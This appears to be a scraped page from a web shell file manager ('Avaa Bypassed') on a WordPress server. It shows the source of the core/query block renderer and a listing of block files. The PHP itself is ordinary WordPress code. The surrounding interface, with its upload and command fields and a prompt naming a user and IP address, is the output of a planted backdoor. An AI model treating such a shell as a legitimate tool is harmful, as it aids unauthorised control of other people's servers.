[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.116.27.233: ~ $
<?php
/**
 * Server-side rendering of the `core/query` block.
 *
 * @package WordPress
 */

/**
 * Modifies the static `core/query` block on the server.
 *
 * @since 6.4.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      The block instance.
 *
 * @return string Returns the modified output of the query block.
 */
function render_block_core_query( $attributes, $content, $block ) {
	$is_interactive = isset( $attributes['enhancedPagination'] )
		&& true === $attributes['enhancedPagination']
		&& isset( $attributes['queryId'] );

	// Enqueue the script module and add the necessary directives if the block is
	// interactive.
	if ( $is_interactive ) {
		wp_enqueue_script_module( '@wordpress/block-library/query/view' );

		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag() ) {
			// Add the necessary directives.
			$p->set_attribute( 'data-wp-interactive', 'core/query' );
			$p->set_attribute( 'data-wp-router-region', 'query-' . $attributes['queryId'] );
			$p->set_attribute( 'data-wp-context', '{}' );
			$p->set_attribute( 'data-wp-key', $attributes['queryId'] );
			$content = $p->get_updated_html();
		}
	}

	// Add the styles to the block type if the block is interactive and remove
	// them if it's not.
	$style_asset = 'wp-block-query';
	if ( ! wp_style_is( $style_asset ) ) {
		$style_handles = $block->block_type->style_handles;
		// If the styles are not needed, and they are still in the `style_handles`, remove them.
		if ( ! $is_interactive && in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) );
		}
		// If the styles are needed, but they were previously removed, add them again.
		if ( $is_interactive && ! in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) );
		}
	}

	return $content;
}

/**
 * Registers the `core/query` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_query() {
	register_block_type_from_metadata(
		__DIR__ . '/query',
		array(
			'render_callback' => 'render_block_core_query',
		)
	);
}
add_action( 'init', 'register_block_core_query' );

/**
 * Traverse the tree of blocks looking for any plugin block (i.e., a block from
 * an installed plugin) inside a Query block with the enhanced pagination
 * enabled. If at least one is found, the enhanced pagination is effectively
 * disabled to prevent any potential incompatibilities.
 *
 * @since 6.4.0
 *
 * @param array $parsed_block The block being rendered.
 * @return string Returns the parsed block, unmodified.
 */
function block_core_query_disable_enhanced_pagination( $parsed_block ) {
	static $enhanced_query_stack   = array();
	static $dirty_enhanced_queries = array();
	static $render_query_callback  = null;

	$block_name              = $parsed_block['blockName'];
	$block_type              = WP_Block_Type_Registry::get_instance()->get_registered( $block_name );
	$has_enhanced_pagination = isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] );
	/*
	 * Client side navigation can be true in two states:
	 *  - supports.interactivity = true;
	 *  - supports.interactivity.clientNavigation = true;
	 */
	$supports_client_navigation = ( isset( $block_type->supports['interactivity']['clientNavigation'] ) && true === $block_type->supports['interactivity']['clientNavigation'] )
		|| ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] );

	if ( 'core/query' === $block_name && $has_enhanced_pagination ) {
		$enhanced_query_stack[] = $parsed_block['attrs']['queryId'];

		if ( ! isset( $render_query_callback ) ) {
			/**
			 * Filter that disables the enhanced pagination feature during block
			 * rendering when a plugin block has been found inside. It does so
			 * by adding an attribute called `data-wp-navigation-disabled` which
			 * is later handled by the front-end logic.
			 *
			 * @param string   $content  The block content.
			 * @param array    $block    The full block, including name and attributes.
			 * @return string Returns the modified output of the query block.
			 */
			$render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) {
				$has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] );

				if ( ! $has_enhanced_pagination ) {
					return $content;
				}

				if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) {
					// Disable navigation in the router store config.
					wp_interactivity_config( 'core/router', array( 'clientNavigationDisabled' => true ) );
					$dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null;
				}

				array_pop( $enhanced_query_stack );

				if ( empty( $enhanced_query_stack ) ) {
					remove_filter( 'render_block_core/query', $render_query_callback );
					$render_query_callback = null;
				}

				return $content;
			};

			add_filter( 'render_block_core/query', $render_query_callback, 10, 2 );
		}
	} elseif (
		! empty( $enhanced_query_stack ) &&
		isset( $block_name ) &&
		( ! $supports_client_navigation )
	) {
		foreach ( $enhanced_query_stack as $query_id ) {
			$dirty_enhanced_queries[ $query_id ] = true;
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );

Filemanager

Name Type Size Permission Actions
archives Folder 0755
audio Folder 0755
avatar Folder 0755
block Folder 0755
button Folder 0755
buttons Folder 0755
calendar Folder 0755
categories Folder 0755
classic Folder 0755
code Folder 0755
column Folder 0755
columns Folder 0755
comment-author-name Folder 0755
comment-content Folder 0755
comment-date Folder 0755
comment-edit-link Folder 0755
comment-reply-link Folder 0755
comment-template Folder 0755
comments Folder 0755
comments-pagination Folder 0755
comments-pagination-next Folder 0755
comments-pagination-numbers Folder 0755
comments-pagination-previous Folder 0755
comments-title Folder 0755
cover Folder 0755
details Folder 0755
embed Folder 0755
file Folder 0755
footnotes Folder 0755
freeform Folder 0755
gallery Folder 0755
group Folder 0755
heading Folder 0755
home-link Folder 0755
html Folder 0755
image Folder 0755
latest-comments Folder 0755
latest-posts Folder 0755
legacy-widget Folder 0755
list Folder 0755
list-item Folder 0755
loginout Folder 0755
media-text Folder 0755
missing Folder 0755
more Folder 0755
navigation Folder 0755
navigation-link Folder 0755
navigation-submenu Folder 0755
nextpage Folder 0755
page-list Folder 0755
page-list-item Folder 0755
paragraph Folder 0755
pattern Folder 0755
post-author Folder 0755
post-author-biography Folder 0755
post-author-name Folder 0755
post-comments-form Folder 0755
post-content Folder 0755
post-date Folder 0755
post-excerpt Folder 0755
post-featured-image Folder 0755
post-navigation-link Folder 0755
post-template Folder 0755
post-terms Folder 0755
post-title Folder 0755
preformatted Folder 0755
pullquote Folder 0755
query Folder 0755
query-no-results Folder 0755
query-pagination Folder 0755
query-pagination-next Folder 0755
query-pagination-numbers Folder 0755
query-pagination-previous Folder 0755
query-title Folder 0755
quote Folder 0755
read-more Folder 0755
rss Folder 0755
search Folder 0755
separator Folder 0755
shortcode Folder 0755
site-logo Folder 0755
site-tagline Folder 0755
site-title Folder 0755
social-link Folder 0755
social-links Folder 0755
spacer Folder 0755
table Folder 0755
tag-cloud Folder 0755
template-part Folder 0755
term-description Folder 0755
text-columns Folder 0755
verse Folder 0755
video Folder 0755
widget-group Folder 0755
archives.php File 2.92 KB 0644
avatar.php File 5.61 KB 0644
block.php File 3.13 KB 0644
blocks-json.php File 182.84 KB 0644
button.php File 1.76 KB 0644
calendar.php File 5.93 KB 0644
categories.php File 3.92 KB 0644
comment-author-name.php File 2.08 KB 0644
comment-content.php File 2.4 KB 0644
comment-date.php File 1.82 KB 0644
comment-edit-link.php File 1.67 KB 0644
comment-reply-link.php File 2.03 KB 0644
comment-template.php File 4.39 KB 0644
comments-pagination-next.php File 1.88 KB 0644
comments-pagination-numbers.php File 1.59 KB 0644
comments-pagination-previous.php File 1.75 KB 0644
comments-pagination.php File 1.17 KB 0644
comments-title.php File 2.71 KB 0644
comments.php File 6.61 KB 0644
cover.php File 3.04 KB 0644
error_log File 1.05 KB 0644
file.php File 1.75 KB 0644
footnotes.php File 3.68 KB 0644
gallery.php File 6.29 KB 0644
heading.php File 1.27 KB 0644
home-link.php File 5.6 KB 0644
image.php File 11.82 KB 0644
index.php File 4.99 KB 0644
latest-comments.php File 4.92 KB 0644
latest-posts.php File 8.34 KB 0644
legacy-widget.php File 3.9 KB 0644
list.php File 1.24 KB 0644
loginout.php File 1.38 KB 0644
media-text.php File 4.28 KB 0644
navigation-link.php File 13.21 KB 0644
navigation-submenu.php File 9.09 KB 0644
navigation.php File 57.9 KB 0644
page-list-item.php File 361 B 0644
page-list.php File 13.29 KB 0644
pattern.php File 2.14 KB 0644
post-author-biography.php File 1.49 KB 0644
post-author-name.php File 1.78 KB 0644
post-author.php File 2.54 KB 0644
post-comments-form.php File 2.74 KB 0644
post-content.php File 2.11 KB 0644
post-date.php File 3.05 KB 0644
post-excerpt.php File 3.37 KB 0644
post-featured-image.php File 9.14 KB 0644
post-navigation-link.php File 4.72 KB 0644
post-template.php File 5.61 KB 0644
post-terms.php File 3.6 KB 0644
post-title.php File 2.09 KB 0644
query-no-results.php File 1.8 KB 0644
query-pagination-next.php File 3.7 KB 0644
query-pagination-numbers.php File 4.66 KB 0644
query-pagination-previous.php File 3.1 KB 0644
query-pagination.php File 1.15 KB 0644
query-title.php File 2.05 KB 0644
query.php File 5.56 KB 0644
read-more.php File 1.79 KB 0644
require-dynamic-blocks.php File 4.01 KB 0644
require-static-blocks.php File 501 B 0644
rss.php File 3.88 KB 0644
search.php File 22.51 KB 0644
shortcode.php File 735 B 0644
site-logo.php File 6.19 KB 0644
site-tagline.php File 1.17 KB 0644
site-title.php File 1.77 KB 0644
social-link.php File 62.67 KB 0644
tag-cloud.php File 1.55 KB 0644
template-part.php File 9.86 KB 0644
term-description.php File 1.3 KB 0644
widget-group.php File 2.38 KB 0644